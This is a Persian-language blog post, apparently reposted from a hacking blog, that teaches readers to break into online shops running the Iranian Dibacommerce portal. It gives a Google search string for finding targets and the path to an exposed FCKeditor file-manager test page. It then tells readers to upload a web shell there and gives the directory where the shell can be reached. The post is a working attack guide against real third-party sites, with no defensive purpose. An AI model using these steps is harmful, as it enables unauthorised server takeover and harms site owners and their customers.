loading...
divaneshgh
divaneshgh بازدید : 39 شنبه 26 آذر 1390 نظرات (0)

سلام دوستان

امروز شما را به جدیدترین باگ در پرتال ایرانی بنام که عموماه بصورت فروشاهای هست آشنا می کنیم .

خب اول در گوگل عبارت زیر را در صفحات فارسی آن جستجو کنید .

"Powered by : Dibacommerce"

خب حالا یکی از سایت های زیر را انتخاب کرده و آدرس زیر را بهش اضافه کنید

path/admin/fckeditor/editor/filemanager/connectors/test.html

اگه سایت مورد نظر مثلا www.site.com باشد شما باید اکسپلویت شما باید اینطور باشه

www.site.com/path/admin/fckeditor/editor/filemanager/connectors/test.html

حالا فایل شل را خود را آپلود کنید و می تونید شل را در مسیر زیر پیدا کنید

www.site.com/path/images/file/yourfile

EXbloglor.comEX<-m->http://kamyab-hacking.blogfa.com/post-19.aspx<-mm->باگ خطرناک در پرتال Dibacommerce<-mmm->
ارسال نظر برای این مطلب

کد امنیتی رفرش
اطلاعات کاربری
  • فراموشی رمز عبور؟
  • آرشیو
    آمار سایت
  • کل مطالب : 63
  • کل نظرات : 0
  • افراد آنلاین : 1
  • تعداد اعضا : 6
  • آی پی امروز : 26
  • آی پی دیروز : 16
  • بازدید امروز : 2,334
  • باردید دیروز : 27
  • گوگل امروز : 2
  • گوگل دیروز : 1
  • بازدید هفته : 2,452
  • بازدید ماه : 3,056
  • بازدید سال : 6,940
  • بازدید کلی : 107,154